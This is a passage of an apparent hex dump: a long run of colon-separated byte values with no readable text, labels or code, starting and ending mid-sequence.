:5d:66:d6:ac:25:46:45:a7:13:50:b3:26:d4:da:79:b9:b9:37:29:bb:ef:7b:b6:99:15:09:c7:32:f7:7e:20:58:1b:5a:d0:b1:49:35:c1:12:32:9d:28:b4:a9:67:ec:f3:8a:a5:6a:f4:68:e5:66:f4:34:52:ac:3e:9d:5b:c9:50:f4:bb:43:8e:c5:e1:9c:37:7d:4e:15:d9:9c:b1:42:61:27:05:85:e1:b0:71:a4:c1:38:72:c2:da:48:1c:b1:d3:73:65:8b:9c:72:21:8b:85:d3:06:db:91:6d:3d:97:2e:d8:18:8c:27:2c:3f:0c:7a:bc:69:b3:88:e1:73:65:3d:ac:35:8f:65:37:7c:20:2e:cb:b8:30:a5:20:f3:97:16:ab:28:42:96:c9:c5:44:cb:75:d1:50:74:ca:b2:99:6c:a9:fb:7c:67:13:17:0b:61:22:44:a6:9f:b2:6b:ea:2d:57:3e:17:15:1e:5b:27:a4:b0:34:43:61:79:9e:db:aa:0c:e2:77:86:e2:92:f5:9b:f7:4f:39:75:19:f4:16:62:50:64:bd:b0:d0:45:c2:ab:a5:e9:fa:7b:67:56:1a:a4:f0:d5:38:5b:da:ac:52:58:0f:39:ed:22:ee:2d:76:36:5b:f3:6c:8d:e7:13:59:97:7c:6a:f8:91:aa:d7:54:e0:e7:24:b7:2c:4b:8e:58:56:c2:ab:71:1e:6d:88:ac:0e:27:4a:a2:b3:88:52:b1:b8:b1:08:39:95:0f:39:e3:c2:2f:d8:be:ce:b1:d8:e7:58:5a:c0:e2:ad:de:6b:99:26:a7:8d:4e:eb:8e:cd:d6:8c:65:e7:99:49:49:99:39:59:c7:0c:95:52:b1:44:df:19:f5:4e:1a:6c:0f:48:7c:35:6a:ea:72:5a:47:7c:94:50:51:e1:86:a2:b6:b2:65:ab:c3:f6:05:16:7b:8d:a5:95:97:67:ba:cc:62:9c:63:99:51:dd:ae:47:dd:72:14:f4:32:37:66:15:d4:a8:47:c7:6e:b7:b5:f1:53:be:69:f7:32:f2:7b:cc:10:7e:f5:9d:61:fb:c5:2b:1f:bb:f6:f2:97:df:7a:fd:90:21:7c:90:65:08:d3:c5:62:9a:c5:87:77:18:ac:86:15:1b:6f:cb:1a:95:57:aa:ae:9d:1f:bb:8e:1e:38:c9:45:a3:b3:1b:bb:8d:93:6a:b3:51:07:f3:55:95:37:d3:66:ee:9f:1f:0d:e2:b5:76:34:3d:4a:87:a1:e9:89:f9:e9:d0:3d:db:76:5b:02:b7:3f:b3:ed:a0:b5:3a:4a:e6:03:b6:e8:a4:7c:af:b6:1a:f1:7e:33:33:86:fb:d1:60:66:36:8e:8d:45:db:6d:df:12:56:0d:ad:5b:54:bd:fd:64:6a:57:7b:6d:cf:4f:13:61:70:d4:9c:85:a2:76:2b:74:06:de:bc:d3:ea:84:37:be:d1:b9:9b:9f:fb:e1:1b:7f:fd:70:19:1f:35:7f:fa:c5:2b:1f:28:ee:4e:ff:c1:87:7f:fb:27:47:9f:79:50:bb:b6:bf:59:ed:aa:d7:9d:5d:48:cc:46:24:76:0c:bf:ef:37:42:39:e9:46:9c:1f:84:6a:b4:72:33:83:45:20:5d:a4:aa:aa:4c:dc:74:15:f7:97:a5:9d:b7:a8:c1:72:d8:a0:9e:ee:83:43:fd:38:a7:73:56:c3:6d:23:a1:35:8f:0b:75:46:8b:b0:11:d2:64:13:b0:9d:22:96:35:cd:17:ac:39:ab:4d:0a:23:35:ba:fe:b8:b3:67:1b:50:33:ce:b5:46:a8:b0:b5:e2:b2:d9:95:4f:79:b6:5b:b1:dd:74:57:19:75:d6:75:72:75:6d:f3:49:37:54:b2:b1:cf:25:7b:cb:3e:d9:9a:e9:89:68:f2:d3:9d:de:a7:5d:ea:74:d8:ea:88:8a:a8:f6:b6:94:18:67:46:66:50:2f:33:44:a7:47:6a:87:46:03:db:f5:89:5d:27:1d:5f:d0:a8:6d:b7:74:7d:9c:64:a4:af:ac:f4:3c:69:06:8e:46:3c:d7:5f:f9:69:45:f5:34:6a:46:99:ba:77:d8:0a:b6:b3:76:6d:67:29:db:8d:3b:06:db:11:58:2d:9e:9c:8d:94:1d:ab:1f:3b:1d:9b:ef:d4:7a:ef:64:65:bb:a5:a3:0b:1a:cb:d5:13:cd:3a:f4:91:0e:38:b7:48:6b:b7:9f:b2:1a:4a:5f:19:a4:95:c4:b4:c3:e9:ac:de:0e:79:7f:cd:56:e8:ca:57:a4:84:e5:dc:81:59:77:ba:61:3e:90:7c:21:3b:0d:d3:32:63:35:fe:28:cc:88:18:a8:2c:63:73:69:10:d6:a6:c0:c6:70:cc:f2:6c:57:4f:69:c7:e1:2d:b6:2a:97:ac:4e:22:2c:6f:56:6a:2b:af:74:33:af:7a:a7:a2:df:f0:1d:eb:6c:d2:2d:33:57:ce:d8:76:98:75:69:ef:64:17:d6:ed:86:31:d6:52:b6:4b:ce:4f:05:4d:63:75:90:49:38:cd:75:58:6d:17:28:52:c7:13:a8:12:e4:3e:db:51:e9:a9:71:18:17:31:19:18:f9:a1:16:d0:58:6d:ef:53:56:df:9e:b2:f5:3a:26:34:e9:b3:5c:5d:63:e3:34:9f:88:cb:33:27:6d:91:48:cc:a4:53:2e:db:ea:c2:a2:c1:7a:e8:59:73:df:60:d9:a9:65:a9:11:5b:d5:f4:82:45:72:ce:12:cd:15:cd:b4:91:db:57:59:ae:51:f6:d9:b8:cf:4e:6b:a3:8c:64:6b:1e:16:49:a2:8f:a3:c4:23:25:1f:ca:74:e9:11:83:b7:7a:ad:0b:3f:57:8d:48:51:f7:71:f7:64:65:ce:4e:24:57:a5:eb:40:d1:ec:38:e5:1d:4b:f6:75:cb:d1:52:9b:24:e6:64:56:e6:43:d1:18:11:52:ce:42:56:47:b8:c5:b2:1f:28:51:a6:f3:d1:e9:50:48:f7:44:d0:36:11:0d:b7:8e:ac:3a:93:be:52:45:fb:96:6d:ba:d6:9c:72:34:77:5d:29:8b:5d:a3:f0:ea:4c:b1:32:76:9f:73:5a:38:fc:b4:9e:cc:b5:b3:30:6f:08:23:a2:56:2c:b2:ae:e3:2c:39:44:ee:80:ed:04:8b:89:bb:d8:19:bd:b2:64:9f:2d:79:84:5f:4d:d8:08:8c:dc:c3:d7:06:22:ea:09:c6:a9:37:8f:4a:42:d4:a6:91:2e:76:6c:de:59:46:e6:8f:28:9b:e3:76:6f:d9:75:e4:68:e3:bb:27:dc:88:34:b8:50:34:ce:58:cd:e9:1a:72:67:e9:28:dc:de:24:55:5f:67:19:dd:29:ab:d1:75:9a:e4:f1:bc:93:18:b2:d1:f4:32:95:ed:60:3a:37:e4:17:8d:30:af:ea:49:3a:60:3b:a3:cf:2a:e3:c4:a2:34:62:75:bf:71:d8:1d:17:ae:1c:71:7a:b7:5c:b2:fa:7d:18:a6:bb:bd:4e:33:65:42:33:89:65:8f:06:9d:1b:55:c0:8e:0f:d9:7b:ac:79:a2:ea:76:a9:38:8a:64:f9:7c:26:fa:b5:56:8f:64:ed:8c:cd:73:cf:a7:fe:dc:ee:2f:eb:c9:d8:5b:51:8e:ac:e8:5c:d9:5a:75:47:1c:b1:fa:da:77:32:4b:67:39:08:db:b9:d8:bc:4d:66:84:9a:7b:5b:66:73:43:49:06:01:31:e6:13:99:65:54:5c:b9:36:b2:84:b3:9d:4c:37:7a:3c:c7:76:27:9f:64:d1:f2:54:f0:3d:52:6b:ec:ec:a5:4a:e7:aa:67:cc:fd:8c:cd:bb:25:25:15:b1:b9:a8:17:38:c6:99:4e:d5:8d:9d:75:76:b4:4f:b5:a1:e0:fb:b1:aa:b9:21:97:58:6c:0e:ed:3c:4a:67:ac:fe:56:ad:b9:d5:f0:69:27:b7:94:92:12:b1:33:36:7a:d2:26:96:93:64:c8:ed:38:dd:b1:3c:4f:4c:ba:44:d4:64:43:69:88:2e:65:59:77:4f:3a:8b:44:76:3d:73:96:c1:f5:d9:0e:e2:4a:eb:20:af:d2:49:d1:e6:1d:47:eb:45:6c:47:08:1c:cb:65:63:dc:25:73:9a:f8:ae:ea:05:42:cb:99:f0:9d:a5:e5:4a:8b:a1:50:89:9e:bd:ae:69:1a:6d:1c:a7:a3:04:3d:b2:65:31:a4:af:d7:89:1b:ce:ca:6e:9c:75:66:86:a2:d4:6c:2e:ec:87:dc:82:d5:e4:52:1d:88:86:67:cf:89:c4:ee:f5:d2:16:ad:0b:96:fb:49:41:ea:9f:d2:5c:ff:7d:d5:ae:c1:72:79:63:bb:0e:e2:ea:dd:37:a8:97:56:df:f7:85:07:8f:c1:57:3e:fe:a3:0f:4a:d8:6f:16:d1:ff:3f:2e:61:2b:bd:f6:a4:51:4f:61:e5:22:3f:d3:e5:2c:1b:3a:2c:24:b0:d2:cb:73:ac:84:95:5e:22:2b:47:f7:9e:6b:25:be:a3:a6:9e:33:28:4d:56:7a:19:35:a9:cc:39:5b:62:32:11:8c:7a:ca:26:64:28:b1:85:a1:ea:a9:ce:5b:ec:0f:2b:d3:38:6b:ae:ff:5b:5c:c2:12:c9:73:c9:ce:ab:49:a9:f7:74:ce:d8:73:9c:3f:4f:6b:56:c2:56:2c:a9:2c:8d:39:1b:a3:39:db:56:9c:43:09:3b:68:fc:81:96:b0:2e:1d:1a:44:5b:8f:fa:5a:69:f7:07:1c:4b:eb:65:b6:58:f4:c9:9c:6d:94:a2:3f:b2:95:74:1f:71:c9:19:0b:fc:33:16:14:d6:0e:4f:b3:a1:40:87:5e:ea:6f:48:2f:9a:f9:3d:36:17:72:ed:82:95:43:72:38:57:15:b6:41:2b:a3:71:c7:b7:f2:93:d5:69:cd:b6:74:a2:f2:fa:b8:53:84:02:4f:59:ca:3c:63:1b:dd:d6:ce:0d:23:76:3a:8e:45:ac:3a:cc:53:c9:4d:13:d9:55:fd:59:4c:c8:ca:76:06:75:5c:84:7b:b6:f1:f9:ac:6c:d5:ac:34:5b:39:a4:cc:59:69:3c:76:52:c9:63:1b:3f:b1:65:9d:05:65:f6:b2:a8:0b:2c:fd:94:59:59:3d:a4:3d:8d:3a:62:56:db:4e:67:11:a5:2d:ce:52:54:d1:2f:52:d1:e8:b5:02:9d:54:1c:e1:28:a5:69:b6:d0:73:e3:22:14:a4:20:a2:0a:4b:94:8c:7e:ac:f8:83:b8:48:3c:4b:28:13:7d:6e:0d:4e:79:d5:8d:67:65:c1:ca:a0:7e:24:5a:f3:58:55:f6:51:9a:48:ec:fa:a8:47:7d:d3:63:e9:12:2b:f3:86:6e:ae:6c:23:3e:33:75:a5:c5:d2:f7:88:95:07:19:0d:38:b5:e9:bb:da:99:25:58:c4:ce:1b:bc:5f:67:a2:3b:1f:b0:79:a8:d9:a4:48:b7:23:16:e4:59:19:7c:3a:21:8a:e8:cb:5a:c7:71:d9:bc:23:15:6f:b0:92:d0:99:47:6c:a3:5b:4a:be:3b:dd:4e:fa:cb:81:95:73:5c:90:97:01:cd:25:93:3a:59:d3:11:97:3b:aa:b0:31:57:93:95:4d:16:0d:8b:37:12:5a:27:2b:2f:4b:14:2f:35:e4:6f:b9:84:15:78:83:6d:40:73:97:25:84:96:b8:60:6b:b2:f2:26:99:b6:0b:73:69:ee:ca:54:9f:8c:3b:cb:38:57:97:5e:2a:2d:8c:54:2d:3d:8e:f5:99:95:5d:93:9c:95:b2:69:b6:9c:90:96:cf:4a:90:81:43:d9:7a:15:a2:8e:49:7c:99:25:04:06:db:d8:d9:e6:7a:c2:8a:e2:a8:98:64:1d:cd:ce:e8:c6:cf:95:55:4c:a8:1a:e5:52:45:89:2f:52:6a:0d:63:92:29:91:e3:ab:06:3f:10:bd:34:11:88:ab:b2:f5:b0:3c:f3:1d:56:16:15:4b:c7:a9:8d:9c:8d:bf:40:14:95:05:76:6b:64:d6:ea:c5:29:e7:d7:91:da:59:ba:e3:b6:10:b8:6a:5f:e7:ca:b3:a0:a7:cd:ac:31:db:00:dc:72:1f:2b:d1:7e:92:57:0e:4d:2b:d5:a2:83:8a:e6:53:2e:54:b5:1d:2b:d3:58:c9:22:65:7a:4f:ba:98:c8:9a:ec:b9:2c:e9:cc:b9:9a:f6:54:c3:18:77:3c:bf:56:fd:d0:2d:b7:0e:17:b1:44:d0:da:e9:85:7f:c1:d6:c8:85:d5:2b:c7:d1:98:cd:5b:57:4b:26:62:5b:62:49:de:85:db:37:b7:13:d7:58:85:8e:75:ea:15:6d:c9:56:3b:1c:2b:bd:66:2e:4d:0a:53:58:52:77:cc:ee:d9:38:4b:ac:94:4d:9f:2c:ac:1c:52:cd:c2:4c:5d:da:69:58:0f:85:56:e9:89:86:ea:f6:97:c6:48:9e:ee:cc:b4:51:79:5c:66:db:e2:b4:1a:8d:59:79:9a:47:99:23:d2:ca:62:71:c8:73:23:63:62:af:f7:ae:ec:f1:a3:31:e5:dd:94:4f:d8:b8:bb:94:1a:eb:b0:cf:52:7d:61:b1:b5:53:4b:79:50:c2:ce:cd:c2:b2:58:72:ae:8f:c6:e1:d6:66:6d:c5:8e:da:d0:65:bf:41:89:b6:f3:7b:16:4b:a8:cb:b3:91:5b:0d:59:19:67:b8:0a:9f:4c:5c:16:97:65:93:77:7b:27:02:71:3a:5e:24:b3:b2:55:65:a5:e1:9c:08:2c:52:19:6c:ff:d8:b0:04:b2:b2:e6:ea:a9:51:fb:95:5d:ab:b2:33:36:8c:a8:58:0e:cd:7c:b1:22:6e:b2:23:29:4b:10:c4:6c:1d:c8:fe:2e:60:79:c1:29:ef:f1:ee:e1:9b:67:73:93:6d:ca:fa:d6:71:25:57:a7:11:f5:15:b5:6b:88:6a:39:c9:fd:20:e0:a9:48:8a:8e:17:3b:6c:de:cf:e9:62:24:d3:c4:71:4f:f6:a6:d3:b1:ed:4c:eb:44:69:a6:b3:39:c6:92:44:a3:19:f5:3b:23:97:76:54:63:6c:08:91:98:b0:a4:68:c7:d9:a9:96:59:85:3a:a6:35:4d:ec:31:35:08:69:ad:27:87:b8:5d:74:54:6f:df:1a:51:27:29:58:f1:b1:60:e5:67:30:91:cd:5a:4f:0d:35:28:a8:61:a6:55:6e:f4:97:5d:b6:27:70:24:97:06:96:c8:ca:78:59:db:ba:ae:b6:b0:5d:3a:38:e5:ac:60:b8:3f:d9:1b:b9:d5:0b:38:ad:a3:17:5e:e5:e7:ad:c2:1e:7b:ac:54:97:86:1e:6f:cc:fc:8c:45:78:57:13:cd:a2:b3:d5:bb:2d:6a:0a:52:e1:17:9a:a2:cf:d6:0d:bd:a7:88:41:cd:12:35:c5:a2:23:92:09:ba:43:9b:4e:ed:3b:bf:bf:44:e1:0b:7f:fa:8f:38:97:a5:df:4f:6f:be:69:e9:17:08:eb:86:59:27:0d:5b:1d:70:1e:f1:fb:93:9a:95:6f:a9:4a:5d:59:eb:47:44:db:e8:c4:5f:b2:d9:3d:20:0a:4b:d9:39:43:f6:b9:b2:c9:ca:88:0b:ba:67:ef:cb:da:0d:6f:56:9e:9a:ac:dc:a7:39:9d:c7:6e:e4:44:19:65:91:86:5e:b0:52:75:e6:e6:7c:16:71:cb:d2:2b:68:60:0a:fc:19:bb:1b:81:ad:18:02:db:ff:59:4a:a8:0e:d8:67:70:64:6c:ae:88:98:2d:4c:4a:85:b8:47:57:b1:cb:a2:13:57:0d:62:87:2e:47:7d:cb:25:85:c6:a2:93:d5:35:f2:25:89:14:a9:e9:cd:b3:a5:31:a7:fc:a4:ee:90:90:cb:46:3e:af:2e:5d:35:f2:0d:c2:d2:65:39:95:22:1a:99:3a:af:09:4e:cf:e2:89:32:6d:b8:e3:a8:e1:09:65:e1:13:ad:6b:c8:89:e4:17:ed:6d:e8:18:fb:11:35:14:23:5f:4b:9e:a3:06:2c:13:28:bd:d9:49:83:ee:5b:85:df:5f:ee:75:77:bd:1d:72:4b:36:c3:59:5a:c9:25:42:28:1b:9a:d5:ab:e8:29:a7:8d:46:f4:10:b5:a3:6e:90:47:84:95:27:0d:47:b4:7c:2a:5a:5b:56:1e:10:9d:6a:95:21:26:64:c2:5b:3b:7a:b9:6b:52:ce:cc:cb:ad:97:b6:2c:3d:67:a5:41:ee:2f:4d:31:1a:79:f9:7a:1b:c8:59:d7:27:6a:df:11:2a:16:61:14:51:ef:19:bb:60:ce:ca:3a:45:2b:75:32:15:a3:9a:8e:5d:16:01:43:b6:06:68:96:6c:9d:3e:bb:2e:36:46:13:97:ad:b1:7c:c9:ea:ac:52:9d:38:c6:70:32:ce:64:37:eb:2c:dc:74:51:b3:cf:4a:58:f9:7a:c6:c6:48:0a:fb:ea:36:2c:94:ad:41:fd:35:75:09:17:e6:7c:1a:f7:2c:56:be:56:be:a5:5a:49:ac:26:b9:4d:76:95:c5:27:aa:43:13:6a:15:51:c7:ab:93:ad:df:d7:0c:f6:fe:15:db:a1:86:16:1f:b1:19:5d:0d:fc:9c:7a:26:5d:08:96:aa:0e:43:57:af:c2:2c:53:23:ae:5c:06:4a:35:64:6d:e9:96:a0:f3:6c:5e:18:a6:5d:2e:f5:5c:95:74:56:62:19:59:b4:9d:28:55:d7:a6:9a:e4:ce:a7:3b:df:e9:8c:26:82:b1:0a:32:d5:1c:f5:b3:94:ed:3c:63:92:85:2b:96:71:8a:31:ab:1b:59:89:17:e8:02:a9:ec:1e:af:39:4e:94:bb:72:c2:85:8e:ea:bb:39:b7:67:a5:ae:68:d6:64:a7:2b:4b:97:16:f4:62:44:34:67:c8:ab:b6:cf:1d:be:65:17:09:13:4e:df:fa:ca:8e:ed:6a:46:5f:cf:79:ca:ae:7d:17:71:27:bc:95:97:8e:91:96:5b:b6:6a:cf:22:d9:ef:8f:7a:fc:3e:b0:cb:33:d2:4f:57:16:3f:d8:d1:94:bf:20:94:d6:44:b1:7a:8e:c0:a2:46:46:87:ec:33:e7:ac:2c:53:8c:be:c9:7b:b9:a5:b2:6b:5d:fb:7d:ab:b4:48:83:ad:cc:4c:f0:6a:6b:15:a6:d1:d6:12:58:86:ec:d0:99:ed:6a:99:c3:62:b6:c1:a2:ce:48:8e:4a:6f:3c:ad:59:e9:c5:e6:6b:d9:89:44:9f:44:a9:9a:85:6c:4e:07:9c:c1:b3:dd:5d:9c:d8:25:2b:47:2d:de:a4:9a:3d:c9:69:33:12:d3:9d:c7:56:3f:25:ad:53:43:55:05:27:d5:d8:3a:52:55:db:65:79:2f:69:d5:2e:69:f1:91:e3:d5:1e:61:bb:12:a9:86:8e:5d:5e:50:ce:c8:8c:c2:5c:39:69:c5:4a:d3:52:73:15:7a:31:61:51:d2:af:ad:86:2d:24:a5:ae:48:a7:7a:3d:e0:27:6e:d9:b4:f2:64:c3:c6:8d:6d:85:96:63:38:6c:ad:a9:d9:d2:21:51:61:72:95:e7:3b:a6:c8:32:c3:c2:13:aa:41:40:d5:ad:2d:28:12:a1:5a:c3:57:b8:8a:1c:a2:7d:af:b5:63:bb:7d:5f:1f:6b:9c:c1:b5:8c:53:d1:d0:7d:41:ea:47:4e:52:12:a5:24:8e:aa:e5:23:55:5d:1e:be:98:a8:67:74:ae:13:6b:11:72:56:11:cc:33:9e:b0:6c:d2:9d:ad:25:87:b3:56:3e:d7:62:a5:70:e7:42:67:19:34:ed:b7:d9:5c:18:08:2c:fb:2b:1c:56:64:05:42:32:f0:b8:d6:20:e0:b3:b1:cd:6b:bd:50:f5:59:66:21:69:fa:ec:44:22:ae:11:c4:f3:c8:67:3b:62:8f:65:85:17:2c:5e:48:91:6c:9d:d9:94:ed:ef:e3:24:33:78:95:ad:e1:68:1f:cc:3b:6b:9d:cd:07:83:24:c4:70:93:91:ee:66:ee:48:51:24:5b:c8:4c:7b:ae:06:96:bb:5c:1b:fc:52:d2:45:45:72:08:db:19:65:76:9d:45:67:a3:f7:0d:cf:ca:92:7e:5c:10:c9:a0:16:9b:3b:cb:33:4f:5c:ae:4d:c7:94:cc:22:5d:e9:e9:b2:9c:a4:3c:4f:d5:44:f7:1c:8d:4c:8a:88:b3:e4:6c:6c:15:d9:05:cb:7a:4e:75:97:1f:b9:8e:a5:46:2a:5d:b9:e9:54:22:bd:65:ee:ce:3b:bd:49:77:bd:f2:6a:3f:75:b2:65:32:21:fc:9a:e4:ad:80:65:1f:5b:3a:67:d9:6a:b7:74:26:54:65:e5:74:56:b0:92:3b:75:53:bf:60:75:f9:c9:90:63:e5:a1:50:2e:7d:a7:71:32:e4:8d:cc:13:e9:3e:18:5b:92:79:d8:95:7a:b4:11:a9:d6:36:10:e8:e6:6c:fa:f6:83:b2:71:bd:5c:bf:fb:6e:f0:dd:bf:f6:4f:fe:a7:cb:dd:60:f1:23:cf:7d:e5:e3:f6:1f:8e:b2:71:cf:d2:e8:b9:ef:92:86:df:65:69:48:1d:b1:f7:9b:87:af:c4:b3:b2:d1:cf:7d:9b:cf:47:ac:64:1c:c9:4a:6d:cc:4d:9e:3d:96:86:32:90:0c:6e:c0:d2:72:7d:cf:d2:5d:ce:50:74:16:04:58:20:9f:b7:39:56:0e:89:23:85:4d:24:27:6d:8c:14:f2:6f:6d:d9:a8:b3:d2:67:d4:33:05:5d:60:25:a2:dc:16:fd:c3:77:3e:eb:b6:c0:ee:4d:e5:09:7a:e9:f7:74:76:3d:d3:9d:21:ab:39:2b:cb:f9:3f:d8:b2:51:db:b9:aa:61:4f:8a:6c:c8:36:14:8e:f6:97:ee:64:1c:8d:1c:b9:d3:64:39:e9:ca:3c:94:77:72:27:20:8e:76:11:08:8d:4a:77:4f:58:ea:bb:6c:d8:e3:c4:26:69:b8:25:bd:44:77:15:9f:12:4e:b5:23:b9:c3:02:bd:b1:b6:bb:2d:dd:b2:cb:5c:77:35:8b:8c:17:bc:a5:0e:78:63:df:5a:45:ae:ca:36:1f:6f:1b:64:2c:8d:72:59:49:93:5a:43:53:f0:58:a9:98:ec:fc:5c:ba:08:0a:9d:f5:bf:53:04:9c:35:72:59:bb:41:ea:5f:84:87:af:83:f5:97:bd:70:9c:c8:be:40:97:71:3f:e9:b3:7b:d1:35:78:63:e0:cd:55:97:95:39:1a:15:53:96:a0:a8:5d:e2:24:0b:83:0c:b6:be:5b:c9:2c:12:7a:84:a5:bd:46:61:0d:59:49:c7:d2:f1:72:ce:52:6f:9d:dd:73:cb:14:0f:3f:8f:65:ee:7c:7e:51:91:5a:11:1d:4e:75:bc:bc:aa:58:ca:e4:5b:6e:c6:36:86:64:3d:22:a5:ef:e4:25:0b:8a:94:b0:a4:41:36:e7:9d:66:98:ab:65:c0:d2:4e:b7:c7:bb:2c:f9:2d:63:b7:e2:d9:c6:51:ea:42:e2:fb:ae:ba:98:70:a4:e1:ba:3c:e7:e7:a5:47:53:4b:66:e3:a8:5b:fd:e5:d9:44:b6:34:27:e5:0b:36:8e:83:88:64:1b:83:44:42:3c:4f:24:3b:ad:5c:96:b2:1a:54:60:6b:90:ab:3a:94:95:1d:fa:58:dd:ea:29:2b:0f:94:a5:c6:12:8d:c2:9f:9b:55:44:54:91:e4:2c:27:20:52:83:8c:3d:de:a9:23:4b:4f:c9:ce:9e:95:59:20:ec:2a:56:e2:e5:df:72:d9:58:4f:79:43:35:57:7a:66:89:61:ae:69:9e:eb:35:9c:79:72:6a:8a:4b:ce:61:29:33:15:24:c5:ee:49:66:a0:fa:3b:a7:e7:cf:69:d6:11:fc:b4:55:84:b5:52:45:59:b6:08:0a:6d:cf:b6:b3:71:a8:18:c3:68:4e:cf:0c:4e:5b:59:fd:a8:62:a5:f0:ca:e8:77:58:d2:20:99:43:4e:6b:98:44:ca:26:b5:a6:07:73:56:92:2a:6a:9f:95:d3:92:5f:1b:17:64:ec:57:ce:58:55:c2:94:6c:59:9a:dd:64:1b:c1:3a:1c:67:c3:89:10:29:8e:63:56:26:8b:34:6c:83:ee:07:3d:ca:b1:c4:78:ef:b8:3b:96:30:24:46:94:b7:4a:97:2e:7b:56:be:13:c2:59:59:59:6c:a0:87:82:4a:2c:97:ef:91:79:d6:9b:ec:cb:ae:2e:4e:57:76:a1:12:2a:b0:92:c7:e5:a5:49:be:10:48:df:b2:a3:39:2b:f5:95:48:8d:d8:e6:17:0a:7e:1d:8f:a7:bb:c3:d7:fd:69:b7:bc:98:08:cb:21:61:c9:6d:b8:2f:d3:40:a6:c2:e5:17:11:14:43:73:dc:25:9b:47:d9:d6:23:3c:c7:36:08:89:a5:82:05:65:eb:8b:c5:c6:86:3b:6b:99:2c:f6:d8:2c:89:19:3b:24:a9:d9:9c:e4:a3:3c:32:22:41:65:89:99:6f:c4:fd:c8:f2:66:eb:bd:5f:9b:3b:7b:bc:1c:84:ee:b2:b4:d3:c3:cf:ca:69:a7:c4:0d:1b:4e:df:14:26:74:b9:76:c7:9d:c4:1c:b3:38:eb:26:a5:65:b3:92:91:a7:b5:c7:12:62:76:2f:25:bb:98:4a:5e:a6:6a:84:48:5d:8b:93:d8:46:2c:d5:43:2e:f1:d9:26:3d:34:d3:01:67:12:8d:95:ec:2a:67:0a:96:cb:e2:42:9f:cd:bf:46:e8:b2:d8:6d:b7:d4:89:30:60:a5:1d:1d:3a:39:9b:59:35:a9:4d:62:58:b6:ac:f3:76:66:2c:82:4c:6f:58:63:c3:b6:1c:ea:39:b2:51:b1:b5:5e:53:52:8e:75:ba:d8:db:bd:46:65:e4:be:c2:46:e0:c2:ab:8d:01:99:b5:0c:c2:b3:d2:91:c5:0a:ea:e8:e2:44:4c:bc:11:e1:45:56:16:b1:d8:a0:9a:be:c2:e7:7a:8f:1f:4c:e6:7e:61:a5:d6:d6:e4:ad:8d:4f:0c:29:ee:5b:a9:53:2c:45:96:a0:fa:c4:ad:4e:4f:b9:d6:99:4b:32:71:28:26:3d:43:65:c5:02:ef:6f:a2:b9:35:27:34:1a:bb:6e:79:41:f2:d2:a2:99:9a:fa:aa:aa:47:ea:60:67:1d:12:05:c2:4a:31:27:ea:93:3c:23:2c:e1:37:5d:67:ca:c7:85:66:c6:99:65:c6:87:9f:3b:13:8c:c2:a3:9d:be:a5:b2:44:62:4c:b7:a6:4b:35:3d:e7:38:b6:c9:d7:23:a5:3a:63:69:71:97:92:8a:a7:fd:6c:ad:bb:a1:e8:17:a4:11:f4:35:35:72:5b:7d:a7:27:65:b4:27:6d:59:af:03:36:af:12:4b:4d:4c:47:69:05:7e:b1:1c:91:fd:7a:15:b3:b9:1a:a6:d5:dc:57:34:39:98:b5:ba:71:a1:af:6c:5e:dd:7a:ee:b2:6f:ba:e1:de:ae:3b:87:be:6c:dd:be:25:47:ae:6f:b0:be:ef:42:3e:bb:88:15:aa:b1:b5:c2:e2:05:8b:5d:bf:af:44:e1:ca:9f:d8:4b:2f:5e:11:af:bd:fa:53:7a:fb:a9:9f:af:5d:14:d9:ac:b8:fc:66:63:b7:6b:97:41:19:9b:22:9d:b3:39:ba:22:85:e5:b3:f8:71:c1:ae:e7:34:ec:59:25:65:27:b2:3d:fa:c2:13:38:49:e7:97:03:67:de:99:b3:bd:71:ef:66:3a:1f:e4:83:bd:ee:24:ec:7c:4d:74:84:a5:65:90:d6:98:ed:0d:23:8b:f3:2f:1c:d5:52:63:96:90:5b:63:f6:5c:49:6b:37:4f:ab:40:cd:58:91:65:e8:54:49:f7:ce:5c:1b:05:0a:8b:db:b5:31:a2:3d:9d:77:38:6d:48:15:b5:c9:d6:6a:c7:75:12:96:ae:1b:ac:98:31:34:6f:6e:28:84:d0:81:e9:f8:b2:c9:a9:be:39:8e:0a:9f:f3:1a:a6:1b:a9:26:9b:48:36:2b:1e:58:bf:65:56:70:5a:ec:75:cb:3c:c4:4d:45:75:59:4c:33:22:8e:b2:8a:93:fd:8f:aa:8a:35:8e:76:4e:46:76:13:95:b2:8d:45:ea:da:c4:df:c6:44:5d:38:59:d4:b1:52:d5:f4:d2:ea:62:92:1e:3e:cb:1f:fb:59:a6:b1:75:c0:f6:38:da:19:8d:0d:83:ed:63:4f:f6:a7:cb:f6:3f:ca:d6:8b:c6:3e:bf:63:71:27:2b:a2:64:ea:84:b0:e2:38:97:34:92:65:5b:6b:ce:ae:7c:6c:54:be:90:35:e8:58:55:9d:fc:b2:3f:0d:36:87:55:d3:e5:d5:49:df:f2:03:21:f2:ac:c2:37:0e:5f:ca:d1:8b:0e:2b:28:59:d9:cd:f9:95:ab:24:8e:d3:cf:88:9d:b2:79:aa:f0:24:24:c9:8a:c5:e4:51:9c:7b:3b:52:44:4b:83:c5:17:ea:f8:2a:61:c5:30:e5:c8:2e:9e:95:0b:33:af:16:6c:cd:ca:46:a6:54:6c:cf:94:8c:b9:2a:5b:c2:72:cf:46:ab:ab:a7:d3:ed:c8:e9:78:ac:18:f5:3c:21:63:45:72:54:52:c7:dc:46:5c:75:16:ca:5a:93:15:e4:1c:51:2d:56:14:a4:92:23:13:71:d2:33:f6:ba:d0:ca:58:ce:d3:1b:f2:8a:14:b1:6b:d3:05:de:b4:d3:b5:68:e4:d9:f2:54:18:f0:ba:20:ed:9c:b1:b7:32:14:85:73:c7:96:e1:d0:68:47:08:8b:de:3d:5f:f7:d2:a8:69:89:cb:2c:60:57:c3:8a:e8:53:b6:7e:d3:c0:a1:03:92:4a:a5:55:77:a4:89:d8:5e:8d:88:be:73:94:2a:b1:bb:65:69:e4:03:81:f4:b2:ae:de:93:7a:51:1e:ae:74:37:6d:b0:fb:24:46:45:c2:2a:c6:93:06:7b:ac:88:20:55:c3:da:ab:23:3e:d9:3b:24:63:a5:86:de:08:a9:e1:c6:4e:22:e8:79:8b:fd:29:cf:ec:39:4b:ca:5d:69:35:ea:b5:d8:d4:f0:f6:2e:cb:43:cd:2c:52:42:d9:97:68:5f:b5:82:82:70:f6:be:e5:5a:2a:11:29:65:09:7a:5a:f2:7a:6d:cd:74:d2:12:5d:77:cd:8a:cc:52:74:c9:72:38:e1:97:5a:d0:f7:e7:4e:aa:5a:1e:a7:19:66:a6:f6:d9:bc:7c:e4:fe:f3:03:33:55:59:d1:a5:65:51:c6:ae:5b:0c:05:c2:36:35:9b:54:2c:a7:f